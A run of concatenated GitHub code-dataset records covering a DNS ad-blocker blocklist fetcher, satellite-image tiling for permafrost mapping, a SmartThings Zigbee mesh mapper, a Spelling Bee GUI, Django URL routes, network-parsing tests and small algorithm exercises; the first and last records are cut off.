False\n","repo_name":"kylestubbs102/cs171-final-project","sub_path":"utility.py","file_name":"utility.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32848680690","text":"import requests\n\ncoinMinerDomains = requests.request('GET', 'https://raw.githubusercontent.com/anudeepND/blacklist/master/CoinMiner.txt').text.split('\\n')[9:]\nadDomains = requests.request('GET', 'https://raw.githubusercontent.com/anudeepND/blacklist/master/adservers.txt').text.split('\\n')[10:]\nfacebookDomains = requests.request('GET', 'https://raw.githubusercontent.com/anudeepND/blacklist/master/facebook.txt').text.split('\\n')[8:]\n\nwith open('blocked.txt', 'w') as f:\n for coinMinerDomain in coinMinerDomains:\n if coinMinerDomain:\n f.write(coinMinerDomain.split()[1] + '\\n')\n\n for adDomain in adDomains:\n if adDomain:\n f.write(adDomain.split()[1] + '\\n')\n\n for facebookDomain in facebookDomains:\n if facebookDomain:\n f.write(facebookDomain.split()[1] + '\\n')\n","repo_name":"playback0022/Networking-Tools-And-Exploits","sub_path":"src/dns-ad-blocker/helper-scripts/save-banned-domains-to-file.py","file_name":"save-banned-domains-to-file.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73917728784","text":"\"\"\"\nMAPLE Workflow\n(2) Script that breaks the image into smaller chunks (tiles)\n\nProject: Permafrost Discovery Gateway: Mapping Application for Arctic Permafrost Land Environment(MAPLE)\nPI : Chandi Witharana\nAuthor : Rajitha Udwalpola\n\"\"\"\n\nimport os\nfrom osgeo import osr, gdal,ogr\nimport shapefile as shp\nimport numpy as np\nimport h5py\nfrom mpl_config import MPL_Config\nimport cv2\n\ndef divide_image(input_image_path, # the image directory\n target_blocksize, # the crop size\n file1, file2): # cropped tile meta info, cropped file\n \"\"\"\n Script that breaks the image into smaller chunks (tiles)\n The script will zero out the water based on the water mask created for this input file\n and break the file into multiple tiles (target block x target block)\n\n NOTE: Cropped files are packed into one h5p file\n file1 : Keeps meta info on how to load file 2\n file2 : Cropped tiles\n \"\"\"\n worker_root = MPL_Config.WORKER_ROOT\n water_dir = MPL_Config.WATER_MASK_DIR\n\n #get the image name from path\n new_file_name = (input_image_path.split('/')[-1])\n\n new_file_name = new_file_name.split('.')[0]\n\n water_mask_dir = os.path.join(water_dir,new_file_name)\n water_mask = os.path.join(water_mask_dir, \"%s_watermask.tif\"%new_file_name)\n MASK = gdal.Open(water_mask)\n mask_band = MASK.GetRasterBand(1)\n mask_arry = mask_band.ReadAsArray()\n\n print(input_image_path)\n # convert the original image into the geo cordinates for further processing using gdal\n # https://gdal.org/tutorials/geotransforms_tut.html\n #GT(0) x-coordinate of the upper-left corner of the upper-left pixel.\n #GT(1) w-e pixel resolution / pixel width.\n #GT(2) row rotation (typically zero).\n #GT(3) y-coordinate of the upper-left corner of the upper-left pixel.\n #GT(4) column rotation (typically zero).\n #GT(5) n-s pixel resolution / pixel height (negative value for a north-up image).\n\n IMG1 = gdal.Open(input_image_path)\n gt1 = IMG1.GetGeoTransform()\n\n ulx, x_resolution, _, uly, _, y_resolution = gt1\n\n YSize = IMG1.RasterYSize\n XSize = IMG1.RasterXSize\n\n brx = ulx + x_resolution*XSize\n bry = uly + y_resolution*YSize\n\n # ---------------------- crop image from the water mask----------------------\n # dot product of the mask and the orignal data before breaking it for processing\n # Also band 2 3 and 4 are taken because the 4 bands cannot be processed by the NN learingin algo\n # Need to make sure that the training bands are the same as the bands used for inferencing. \n #\n #img_band1 = IMG1.GetRasterBand(1)\n img_band2 = IMG1.GetRasterBand(2)\n img_band3 = IMG1.GetRasterBand(3)\n img_band4 = IMG1.GetRasterBand(4)\n\n #img_array1 = img_band1.ReadAsArray()\n final_array_2 = img_band2.ReadAsArray()\n final_array_3 = img_band3.ReadAsArray()\n final_array_4 = img_band4.ReadAsArray()\n\n final_array_2 = np.multiply(final_array_2, mask_arry)\n final_array_3 = np.multiply(final_array_3, mask_arry)\n final_array_4 = np.multiply(final_array_4, mask_arry)\n\n # files to store the masked and divided data. Will be stored in a directory named with the orignal\n # file and sub directory \n # Two object files are created one for the parameters and the other for the data . \n f1 = h5py.File(file1, \"w\")\n f2 = h5py.File(file2, \"w\")\n\n rows_input = IMG1.RasterYSize\n cols_input = IMG1.RasterXSize\n bands_input = IMG1.RasterCount\n\n # create empty grid cell\n transform = IMG1.GetGeoTransform()\n\n # ulx, uly is the upper left corner\n ulx, x_resolution, _, uly, _, y_resolution = transform\n\n # ---------------------- Divide image (tile) ----------------------\n overlap_rate = 0.2\n block_size = target_blocksize\n ysize = rows_input\n xsize = cols_input\n\n image_count = 0\n\n #Load the data frame\n from collections import defaultdict\n dict_ij = defaultdict(dict)\n dict_n = defaultdict(dict)\n tile_count = 0\n\n y_list = range(0, ysize, int(block_size*(1-overlap_rate)))\n x_list = range(0, xsize, int(block_size*(1-overlap_rate)))\n dict_n['total'] = [len(y_list),len(x_list)]\n\n # ---------------------- Find each Upper left (x,y) for each divided images ----------------------\n # ***-----------------\n # ***\n # ***\n # |\n # |\n #\n for id_i,i in enumerate(y_list):\n\n # don't want moving window to be larger than row size of input raster\n if i + block_size < ysize:\n rows = block_size\n else:\n rows = ysize - i\n\n # read col\n for id_j, j in enumerate(x_list):\n\n if j + block_size < xsize:\n cols = block_size\n else:\n cols = xsize - j\n #print(f\" j={j} i={i} col={cols} row={rows}\")\n # get block out of the whole raster\n #todo check the array values is similar as ReadAsArray()\n band_1_array = final_array_4[i:i+rows, j:j+cols]\n band_2_array = final_array_2[i:i+rows, j:j+cols]\n band_3_array = final_array_3[i:i+rows, j:j+cols]\n\n #print(band_3_array.shape)\n # filter out black image\n if band_3_array[0,0] == 0 and band_3_array[0,-1] == 0 and \\\n band_3_array[-1,0] == 0 and band_3_array[-1,-1] == 0:\n continue\n\n dict_ij[id_i][id_j] = tile_count\n dict_n[tile_count] = [id_i, id_j]\n\n #print(dict_n[tile_count])\n\n # stack three bands into one array\n img = np.stack((band_1_array, band_2_array, band_3_array), axis=2)\n cv2.normalize(img, img, 0, 255, cv2.NORM_MINMAX)\n img = img.astype(np.uint8)\n B, G, R = cv2.split(img)\n out_B = cv2.equalizeHist(B)\n out_R = cv2.equalizeHist(R)\n out_G = cv2.equalizeHist(G)\n final_image = cv2.merge((out_B, out_G, out_R))\n\n # Upper left (x,y) for each images\n ul_row_divided_img = uly + i*y_resolution\n ul_col_divided_img = ulx + j*x_resolution\n\n data_c = np.array([i,j,ul_row_divided_img,ul_col_divided_img,tile_count])\n image_count += 1\n # Add tile into the data object data and the paremeters\n f1.create_dataset(f\"image_{image_count}\", data=final_image)\n f2.create_dataset(f\"param_{image_count}\", data=data_c)\n tile_count += 1\n # --------------- Store all the title as an object file\n values = np.array([x_resolution, y_resolution, image_count])\n f2.create_dataset(\"values\",data=values)\n import pickle\n db_file_path = os.path.join(worker_root, \"neighbors/%s_ij_dict.pkl\" % new_file_name)\n dbfile = open(db_file_path, 'wb')\n pickle.dump(dict_ij, dbfile)\n dbfile.close()\n\n db_file_path = os.path.join(worker_root, \"neighbors/%s_n_dict.pkl\" % new_file_name)\n dbfile = open(db_file_path, 'wb')\n pickle.dump(dict_n, dbfile)\n dbfile.close()\n f1.close()\n f2.close()\n","repo_name":"PermafrostDiscoveryGateway/MAPLE_v3","sub_path":"mpl_divideimg_234_water_new.py","file_name":"mpl_divideimg_234_water_new.py","file_ext":"py","file_size_in_byte":7069,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"41859497350","text":"from helpers import analytics\nanalytics.monitor()\nfrom math import comb\n\ndef ways(r,n,s): #to roll r with n, s-sided dice\n m = int((r-n)/s)\n w = 0\n for k in range(0,m+1):\n w += ((-1)**k)*comb(n,k)*comb(r-s*k-1,n-1)\n return w\n\ndef P(r,n,s):\n m = int((r-n)/s)\n w = 0\n for k in range(0,m+1):\n w += ((-1)**k)*comb(n,k)*comb(r-s*k-1,n-1)\n return w/s**n\n\ndef populate(table,n,s):\n for i in range(0,n*s+1):\n table.append(ways(i,n,s))\n\ndef main():\n p,c = [],[]\n populate(p,9,4)\n populate(c,6,6)\n w = 0\n t = (4**9) * (6**6)\n for C in range(0, 37):\n for P in range (C+1, 37):\n w += p[P]*c[C]\n return round(w/t,7)\n\nprint(main(), analytics.lap(), analytics.maxMem())","repo_name":"Phyisis/Problems","sub_path":"src/201-300/P205.py","file_name":"P205.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"17087752727","text":"import json\nimport pandas as pd\nfrom glob import glob\n\n# Part 2\nisos = ['30min', '45min', '60min']\nrename_cols = {\n 'group1': '0\\d+)/$', views.BoardDetailAPIView.as_view(), name='board_detail'),\n url(r'^boards/(?P\\d+)/topics/$', views.BoardTopicsListAPIView.as_view(), name='board_topics'),\n url(r'^boards/(?P\\d+)/topics/new/$', views.TopicCreateAPIView.as_view(), name='topic_create'),\n\n\n url(r'^topics/(?P\\d+)/reply/$', views.PostCreateAPIView.as_view(), name='topic_reply'),\n url(r'^topics/$', views.TopicListAPIView.as_view(), name='topics_list'),\n url(r'^topics/(?P\\d+)/$', views.TopicDetailAPIView.as_view(), name='topic_detail'),\n url(r'^topics/(?P\\d+)/posts/$', views.TopicPostsListAPIView.as_view(), name='topic_posts'),\n\n url(r'^posts/$', views.PostListAPIView.as_view(), name='posts_list'),\n url(r'^posts/(?P\\d+)/$', views.PostDetailAPIView.as_view(), name='post_detail'),\n url(r'^posts/(?P\\d+)/edit/$', views.PostUpdateAPIView.as_view(), name='post_edit')\n]","repo_name":"RomanKhudobei/DiscussIT","sub_path":"boards/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71326403347","text":"# disable docstring checking\n# pylint: disable=C0111\n# disable checking no-self-use\n# pylint: disable=R0201\n# pylint: disable=W0212\n# pylint: disable=W0201\n# pylint: disable=F0401\n# pylint: disable=E0611\nfrom asserts import assert_equals, mod_args_generator\nimport mock\nfrom netshowlib.linux import ip_neighbor\nimport io\n\n\n@mock.patch('netshowlib.linux.ip_neighbor.common.exec_command')\ndef test_cacheinfo(mock_arp_exec):\n values = {\n '/sbin/ip -4 neighbor show':\n io.open('tests/test_netshowlib/arp_ipv4.txt').read(),\n '/sbin/ip -6 neighbor show':\n io.open('tests/test_netshowlib/arp_ipv6.txt').read()\n }\n\n mock_arp_exec.side_effect = mod_args_generator(values)\n result = ip_neighbor.cacheinfo()\n assert_equals(len(result.get('eth0').get('ipv4')), 1)\n assert_equals(len(result.get('eth0').get('ipv6')), 0)\n assert_equals(len(result.get('vlan1').get('ipv4')), 7)\n assert_equals(len(result.get('vlan1').get('ipv6')), 4)\n\n\nclass TestIpNeighbor(object):\n def setup(self):\n self.ipneigh = ip_neighbor.IpNeighbor('eth1')\n\n @mock.patch('netshowlib.linux.ip_neighbor.cacheinfo')\n def test_run(self, mock_cacheinfo):\n mock_cacheinfo.return_value = {'eth1':\n {'ipv4':\n {'10.1.1.1': '11:22:33:44:55:66'},\n 'ipv6': {}}}\n self.ipneigh.run()\n assert_equals(self.ipneigh.ipv4, {'10.1.1.1': '11:22:33:44:55:66'})\n\n @mock.patch('netshowlib.linux.ip_neighbor.cacheinfo')\n def test_run_int_doesnt_exist(self, mock_cacheinfo):\n mock_cacheinfo.return_value = {'eth2':\n {'ipv4':\n {'10.1.1.1': '11:22:33:44:55:66'},\n 'ipv6': {}}}\n self.ipneigh.run()\n assert_equals(self.ipneigh.ipv4, {})\n\n @mock.patch('netshowlib.linux.ip_neighbor.cacheinfo')\n def test_all_neighbors(self, mock_cacheinfo):\n mock_cacheinfo.return_value = {'eth1':\n {'ipv4': {'10.1.1.1':\n '11:22:33:44:55:66'},\n 'ipv6': {'10:1:1::1':\n '11:22:33:44:55:66'}}}\n assert_equals(self.ipneigh.allentries,\n {'10.1.1.1': '11:22:33:44:55:66',\n '10:1:1::1': '11:22:33:44:55:66'})\n\n # port that doesn't have a value\n self.ipneigh = ip_neighbor.IpNeighbor('eth2')\n assert_equals(self.ipneigh.allentries, {})\n","repo_name":"benthomasson/netshow-linux-lib","sub_path":"tests/test_netshowlib/test_ip_neighbor.py","file_name":"test_ip_neighbor.py","file_ext":"py","file_size_in_byte":2644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21643507065","text":"import sys\nimport networkx as nx\nimport re\nimport requests\nfrom bs4 import BeautifulSoup\n\nG = nx.Graph()\nif (len(sys.argv) > 1):\n cookies = {'JSESSIONID': sys.argv[1]}\nelse:\n cookies = {'JSESSIONID': input(\"JSESSIONID:\")}\nhostList = {\n 'https://graph.api.smartthings.com',\n 'https://graph-na02-useast1.api.smartthings.com',\n 'https://graph-na04-useast2.api.smartthings.com',\n 'https://graph-eu01-euwest1.api.smartthings.com',\n 'https://graph-ap02-apnortheast2.api.smartthings.com'\n}\n\nfor host in hostList:\n r = requests.get(host+'/device/list', cookies=cookies, allow_redirects=False)\n print('Trying shard: ' + host)\n if (r.status_code == 302):\n print('Redirect deetected. Invalid login? Double check JSESSIONID')\n continue\n if (r.status_code == 200):\n print('Shard matching session found: '+ host)\n break\n\nif (r.status_code == 302):\n print('Did not find any valid server, double check JSESSIONID')\n exit()\n\nsoup = BeautifulSoup(r.content, \"html.parser\")\ntranslationDict = {}\n\nif (len(soup.select('#device-table > tbody > tr')) == 0):\n print('No devices found, did you provide token to wrong shard?')\n exit()\n\nfor device in soup.select('#device-table > tbody > tr'):\n link = device.select('td:nth-of-type(1) > a')[0]\n deviceName = link.text.strip()\n deviceDetailsLink = link.get('href')\n deviceType = device.select('td:nth-of-type(2)')[0].text.strip()\n hubName = device.select('td:nth-of-type(4)')[0].text.strip()\n deviceId = device.select('td:nth-of-type(5)')[0].text.strip()\n deviceNetworkId = device.select('td:nth-of-type(6)')[0].text.strip()\n deviceStatus = device.select('td:nth-of-type(7)')[0].text.strip()\n G.add_node(hubName, details='{\\'name\\': hubName}')\n\n deviceDetails = requests.get(host+deviceDetailsLink, cookies=cookies)\n details = BeautifulSoup(deviceDetails.content, \"html.parser\")\n translationDict[deviceNetworkId] = deviceName\n translationDict[hubName] = hubName\n deviceData = {\n 'name': deviceName,\n 'Type': deviceType,\n 'ID': deviceId,\n 'NID': deviceNetworkId,\n 'Status': deviceStatus\n }\n G.add_node(deviceNetworkId, details=deviceData)\n routes = details.select('#meshRoute-label + td a')\n rssi = details.select(\n '#deviceMetrics-label + td > ul > li:nth-of-type(2) > strong'\n )\n if rssi:\n translationDict[deviceNetworkId] = deviceName + ' RSSI: ' + rssi[0].text\n deviceRoute = []\n if not routes:\n G.remove_node(deviceNetworkId)\n translationDict.pop(deviceNetworkId)\n print(\"REMOVED \" + deviceNetworkId + \" as it had no routes. (Wifi device?)\\n\")\n for route in routes:\n rex = re.search('.*\\((.+)\\).*', route.text)\n if route == routes[1]:\n print(deviceNetworkId + ' ' + deviceName + ' is connected to:')\n\n if rex and rex.group(1) != deviceNetworkId:\n deviceRoute.append(rex.group(1))\n print(rex.group(1))\n\n if route.text == hubName:\n deviceRoute.append(hubName)\n print(route.text)\n\n if route == routes[-1]:\n print(\"\\n\")\n\n previousroute = None\n for route in deviceRoute:\n if not previousroute:\n G.add_edge(deviceNetworkId, route)\n else:\n G.add_edge(route, previousroute)\n previousroute = route\n\noptions = {\n 'font_size': 10,\n 'node_size': 100,\n 'width': 2,\n 'with_labels': True,\n 'labels': translationDict,\n 'node_color': '#DE781F',\n 'edge_color': '#1F85DE'\n}\nnx.draw(G,**options)\n","repo_name":"TekniskSupport/ST-zigbee-network-map","sub_path":"_scrape.py","file_name":"_scrape.py","file_ext":"py","file_size_in_byte":3662,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"48"} +{"seq_id":"5229611329","text":"# Defines the 'graphics' class used to generste the GUI for the Spelling Bee game\n\n# imports\nimport customtkinter as ctk\nimport tkinter as tk\nimport math\n\nhex_letter_font = (\"Helvetica Neue\", -40, \"bold\")\nword_list_font = (\"Helvetica Neue\", -16, \"normal\")\n\nwindow_width = 1000\nwindow_height = 400\n\n# Partially adapted from the work of Eric Roberts and Jed Rembold\nclass graphics:\n def __init__(self):\n def render_hex(x_start, y_start, color):\n \"\"\"Generates hexagons at specified x,y coordinates with specified \n fill color\"\"\"\n hex_coords = []\n for point in range(6):\n x = x_start + 40 * math.cos(math.radians(180 - point * 60))\n y = y_start - 40 * math.sin(math.radians(180 - point * 60))\n hex_coords += [x, y]\n self.window.create_polygon(*hex_coords, width=1, fill=color)\n return self.window.create_text(x_start, y_start, text=\"\", font=hex_letter_font, fill=\"Black\")\n\n def honeycomb():\n \"\"\"Generates 7 hexagons in a honeycomb pattern - center hex is \n gold, the others a white. Creates empty text fields in each hexagon \n which can be edited later\"\"\"\n x_start = 160\n y_start = window_height / 2\n self.hex_letters = [render_hex(x_start, y_start, \"Gold\")]\n for hexagon in range(6):\n x = x_start + 76 * math.cos(math.radians(30 + 60 * hexagon))\n y = y_start - 76 * math.sin(math.radians(30 + 60 * hexagon))\n self.hex_letters.append(render_hex(x, y, \"White\"))\n\n def bottom_text():\n \"\"\"Places empty text field (to be edited later) at the bottom of \n the screen for flashing messages\"\"\"\n self.message = self.window.create_text(\n 320, 395, text=\"\", anchor=ctk.SW, font=word_list_font)\n\n def ranking_text():\n \"\"\"Places ranking text in the top right side of the window\"\"\"\n self.game_ranking = self.window.create_text(\n 640, 48, text=\"Current Rank: -\", anchor=ctk.SW, font=word_list_font)\n\n def wordcount_text():\n \"\"\"Places player wordcount text below the player guessed words \n textbox\"\"\"\n self.player_wordcount_text = self.window.create_text(\n 320, 345, text=\"Word Count:\", anchor=ctk.SW, font=word_list_font)\n\n def score_text():\n \"\"\"Places player score text below the player guessed words \n textbox\"\"\"\n self.player_score_text = self.window.create_text(\n 320, 365, text=\"Points:\", anchor=ctk.SW, font=word_list_font)\n\n def solution_wordcount_text():\n \"\"\"Places total attainable wordcount text below the solutions list\n textbox\"\"\"\n self.solution_player_wordcount_text = self.window.create_text(\n 480, 345, text=\"\", anchor=ctk.SW, font=word_list_font)\n\n def solution_score_text():\n \"\"\"Places total attainable points text below the solutions list\n textbox\"\"\"\n self.solution_player_score_text = self.window.create_text(\n 480, 365, text=\"\", anchor=ctk.SW, font=word_list_font)\n\n def delete_window():\n \"\"\"Close function to configure window protocol\"\"\"\n self._ctk.destroy()\n\n # Build window:\n ctk.set_appearance_mode(\"Dark\")\n ctk.set_default_color_theme(\"blue\")\n self._ctk = ctk.CTk()\n self._ctk.title(\"Spelling Bee\")\n self._ctk.protocol(\"WM_DELETE_WINDOW\", delete_window)\n # prevent window from being resized\n self._ctk.resizable(width=False, height=False)\n\n # define reused class variables:\n self.window = tk.Canvas(\n self._ctk, width=window_width, height=window_height)\n self.window.pack()\n self.controls = ctk.CTkFrame(self._ctk)\n self.interactors = ctk.CTkFrame(self.controls)\n self.fields = {}\n self.wordlist = []\n self.solution_list = []\n self.words_guessed = []\n self.letters = \"\"\n self.player_word_count = 0\n self.player_score = 0\n\n # WORDS TEXT BOX\n self.wordbox = ctk.CTkTextbox(\n self.window, width=120, height=235, activate_scrollbars=True)\n self.wordbox.configure(state=\"disabled\")\n self.wordbox.place(anchor=ctk.SW, x=320, y=320)\n self.wordbox.tag_config(\"Gold\", foreground=\"Gold\")\n self.wordbox.tag_config(\"White\", foreground=\"White\")\n\n # SOLUTIONS TEXT BOX\n self.solutionsbox = ctk.CTkTextbox(\n self.window, width=120, height=235, activate_scrollbars=True)\n self.solutionsbox.configure(state=\"disabled\")\n self.solutionsbox.place(anchor=ctk.SW, x=480, y=320)\n self.solutionsbox.tag_config(\"Gold\", foreground=\"Gold\")\n self.solutionsbox.tag_config(\"White\", foreground=\"White\")\n\n # READ ME TEXT\n self.readmebox = ctk.CTkTextbox(\n self.window, width=320, height=235, activate_scrollbars=True)\n self.readmebox.configure(state=\"disabled\")\n self.readmebox.place(anchor=ctk.SW, x=640, y=320)\n self.readmebox.tag_config(\"White\", foreground=\"White\")\n\n # PROGRESS BAR\n self.progressbar = ctk.CTkProgressBar(self.window)\n self.progressbar.configure(width=280, height=20)\n self.progressbar.place(anchor=ctk.SW, x=320, y=50)\n self.progressbar.set(0)\n\n # Generate honeycomb and place text fields\n honeycomb()\n bottom_text()\n ranking_text()\n wordcount_text()\n score_text()\n solution_wordcount_text()\n solution_score_text()\n\n def step_progressbar(self, word_points, total_points):\n \"\"\"Steps progressbar by a given words point value relative to the \n amount of total points in the puzzle\"\"\"\n current_value = self.progressbar.get()\n # enable the following line to see exact value of prgrsbar in console\n # print(f\"Current progressbar value = {current_value}\")\n step_value = (word_points / total_points) + current_value\n # enable following line to view prgrsbar value of last guessed word\n # print(f\"Value after stepping = {step_value}\")\n self.progressbar.set(step_value)\n\n def reset_progressbar(self):\n \"\"\"Resets the progressbar value to 0\"\"\"\n self.progressbar.set(0)\n\n def reset_rank(self):\n \"\"\"Resets the player rank text in the top right side of the window\"\"\"\n self.window.itemconfigure(self.game_ranking, text=\"Current Rank: \")\n\n def addto_readmebox(self, text, color=\"White\"):\n \"\"\"Adds text to the wide textbox on the right side of the window\"\"\"\n # textbox must be configured to normal before inserting text, then \n # closed to prevent users from editing\n self.readmebox.configure(state=\"normal\")\n self.readmebox.insert(ctk.END, text, color)\n self.readmebox.configure(state=\"disabled\")\n\n def addto_wordbox(self, word, color):\n \"\"\"Adds text to the player guessed words textbox closest to the \n honeycomb\"\"\"\n self.wordbox.configure(state=\"normal\")\n word += \"\\n\"\n self.wordbox.insert(ctk.END, word, color)\n self.wordbox.configure(state=\"disabled\")\n\n def clear_wordbox(self):\n \"\"\"Clears all player-guessed words in the textbox closest to the \n honeycomb\"\"\"\n self.wordbox.configure(state=\"normal\")\n self.wordbox.delete(\"0.0\", \"end\")\n self.wordbox.configure(state=\"disabled\")\n\n def addto_solutions(self, word, color):\n \"\"\"Adds text to the solution words textbox in the middle\"\"\"\n self.solutionsbox.configure(state=\"normal\")\n word += \"\\n\"\n self.solutionsbox.insert(ctk.END, word, color)\n self.solutionsbox.configure(state=\"disabled\")\n\n def clear_solutions(self):\n \"\"\"Clears all text in the solution words textbox, if there is any\"\"\"\n self.solutionsbox.configure(state=\"normal\")\n self.solutionsbox.delete(\"0.0\", \"end\")\n self.solutionsbox.configure(state=\"disabled\")\n\n def create_button(self, name, callback):\n \"\"\"Create a ctk button on the command strip at the bottom of the screen\"\"\"\n def button_action():\n callback(name)\n padding = ctk.CTkFrame(self.interactors)\n padding.pack(side=ctk.LEFT, padx=6)\n border = ctk.CTkFrame(padding)\n border.pack()\n button = ctk.CTkButton(\n border, text=name, command=button_action)\n button.pack()\n\n def add_field(self, name, callback, nchars=120):\n \"\"\"Add an entry field on the command strip at the bottom of the screen\"\"\"\n def enter_action(text):\n callback(textvar.get())\n entry.delete(0, ctk.END)\n\n padding = ctk.CTkFrame(self.interactors)\n padding.pack(side=ctk.LEFT)\n label = ctk.CTkLabel(padding, text=\" \" + name)\n label.pack()\n padding = ctk.CTkFrame(self.interactors)\n padding.pack(side=ctk.LEFT)\n border = ctk.CTkFrame(padding)\n border.pack()\n textvar = ctk.StringVar()\n entry = ctk.CTkEntry(border, width=nchars,\n textvariable=textvar)\n entry.bind(\"\", enter_action)\n entry.pack()\n self.fields[name] = textvar\n\n def get_field(self, name):\n \"\"\"Gets value from specified entry field\"\"\"\n return self.fields[name].get()\n\n def get_guessed_words(self):\n \"\"\"Gets list of valid words guessed by user\"\"\"\n return self.words_guessed\n\n def clear_wordcount(self):\n \"\"\"Resets player wordcount/wordcount text for current game\"\"\"\n self.window.itemconfigure(\n self.player_wordcount_text, text=\"Word Count:\")\n self.player_word_count = 0\n\n def add_wordcount(self):\n \"\"\"Increments player wordcount by one if invoked\"\"\"\n self.player_word_count += 1\n msg = f\"Word Count:{self.player_word_count:>6}\"\n self.window.itemconfigure(\n self.player_wordcount_text, text=msg)\n\n def get_points(self):\n \"\"\"Gets player score (int) value for current game\"\"\"\n return int(self.player_score)\n\n def clear_points(self):\n \"\"\"Resets player score/score text for current game\"\"\"\n self.window.itemconfigure(self.player_score_text, text=\"Points:\")\n self.player_score = 0\n\n def add_points(self, points):\n \"\"\"Adds specified value to player points for the current game. Updates \n Player points text.\"\"\"\n self.player_score += points\n msg = f\"Points:{self.player_score:>16}\"\n self.window.itemconfigure(self.player_score_text, text=msg)\n\n def set_solution_wordcount(self, wordcount):\n \"\"\"Edits solutions wordcount text to display a wordcount under the \n solution words textbox\"\"\"\n self.solution_wordcount = wordcount\n msg = f\"Word Count:{self.solution_wordcount:>6}\"\n self.window.itemconfigure(\n self.solution_player_wordcount_text, text=msg)\n\n def clear_solution_wordcount(self):\n \"\"\"Removes solutions wordcount text under the solutions words textbox\"\"\"\n self.window.itemconfigure(self.solution_player_wordcount_text, text=\"\")\n self.solution_wordcount = 0\n\n def set_solution_points(self, points):\n \"\"\"Edits solutions points text to display a score under the solution \n words textbox\"\"\"\n self.solution_points = points\n msg = f\"Points:{self.solution_points:>16}\"\n self.window.itemconfigure(self.solution_player_score_text, text=msg)\n\n def clear_solution_points(self):\n \"\"\"Removes solutions points text under the solution words textbox\"\"\"\n self.window.itemconfigure(self.solution_player_score_text, text=\"\")\n self.solution_points = 0\n\n def event_loop(self):\n \"\"\"Starts main loop\"\"\"\n self.interactors.pack()\n self.controls.pack(expand=True, fill=ctk.X)\n self._ctk.mainloop()\n\n def set_honeycomb_letters(self, letters):\n \"\"\"Adds letters to the hexagons rendered on screen\"\"\"\n self.letters = letters\n for letter in range(len(letters)):\n self.window.itemconfigure(\n self.hex_letters[letter], text=self.letters[letter])\n\n def get_honeycomb_letters(self):\n \"\"\"Returns a list of current letters placed in the honeycomb. The first \n letter will always be from the center hexagon\"\"\"\n return self.letters\n\n def clear_word_list(self):\n for word in self.wordlist:\n self.window.delete(word)\n self.words_guessed = []\n self.wordlist.clear()\n self.word_lst_x = 300\n self.word_lst_y = 30\n\n def clear_solution_list(self):\n for word in self.solution_list:\n self.window.delete(word)\n self.solution_list.clear()\n self.solution_x = 500\n self.solution_y = 30\n\n def show_message(self, msg, color=\"White\"):\n self.window.itemconfigure(self.message, text=msg, fill=color)\n\n def set_rank(self, rank, color=\"White\"):\n msg = f\"Current Rank:{rank:>11}\"\n self.window.itemconfigure(self.game_ranking, text=msg, fill=color)\n","repo_name":"zanemb/Spelling-Bee-Game-Recreation-with-Python","sub_path":"SB_GUI.py","file_name":"SB_GUI.py","file_ext":"py","file_size_in_byte":13242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34913734367","text":"class Node: \n \n def __init__(self, data): \n self.data = data \n self.left = None\n self.right = None\n\ndef buildTree(inOrder, preOrder):\n\n \n if len(inOrder):\n if len(inOrder) == 1:\n # print('++++here',inOrder,preOrder)\n preOrder.pop(0)\n # print('++++after',inOrder,preOrder)\n return Node(inOrder[0])\n root_node = preOrder[0]\n # print('+++++rootnode',root_node)\n preOrder.pop(0)\n ino_index = inOrder.index(root_node)\n node = Node(root_node)\n node.left = buildTree(inOrder[0:ino_index],preOrder)\n node.right = buildTree(inOrder[ino_index+1:len(inOrder)],preOrder)\n\n return node\n\ndef printInorder(node): \n if node is None: \n return \n \n printInorder(node.left) \n \n print(node.data,end=\" \") \n \n printInorder(node.right) \n \n# Driver program to test above function \ninOrder = ['D', 'B', 'E', 'A', 'F', 'C'] \npreOrder = ['A', 'B', 'D', 'E', 'C', 'F'] \nroot = buildTree(inOrder, preOrder) \n \nprint(\"Inorder traversal of the constructed tree is\")\nprintInorder(root) ","repo_name":"kumawat0008/dsa","sub_path":"Binary Tree /using_in_pre.py","file_name":"using_in_pre.py","file_ext":"py","file_size_in_byte":1131,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1961078349","text":"from django.urls import path\n\nfrom my_plant_app.main.views.general import show_home, show_catalogue\nfrom my_plant_app.main.views.plants import show_create_plant, show_details_plant, show_edit_plant, show_delete_plant\nfrom my_plant_app.main.views.profiles import show_create_profile, show_edit_profile, show_delete_profile, \\\n show_details_profile\n\nurlpatterns = [\n # Home\n path('', show_home, name='home'),\n path('catalogue/', show_catalogue, name='catalogue'),\n\n # Profiles\n path('profile/create/', show_create_profile, name='create profile'),\n path('profile/edit/', show_edit_profile, name='edit profile'),\n path('profile/delete/', show_delete_profile, name='delete profile'),\n path('profile/details/', show_details_profile, name='details profile'),\n\n # Plants\n path('create/', show_create_plant, name='create plant'),\n path('details//', show_details_plant, name='details plant'),\n path('edit//', show_edit_plant, name='edit plant'),\n path('delete//', show_delete_plant, name='delete plant'),\n]","repo_name":"vesselindoychev/Python-Web-Basics","sub_path":"Python-Web-Basics-Exams/RetakeExam-21Dec22/my_plant_app/my_plant_app/main/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21443344232","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu May 28 10:46:45 2020\n\n@author: francescopiscitelli\n\"\"\"\n\nimport numpy as np\nimport time\n\n\n\nN = int(1e7)\n\na = np.ones(N)*1.6 \nb = np.ones(N)*3.445\nc = np.ones(N)*7.445\nd = np.ones(N)*5\ne = np.ones(N)*1.65 \nf = 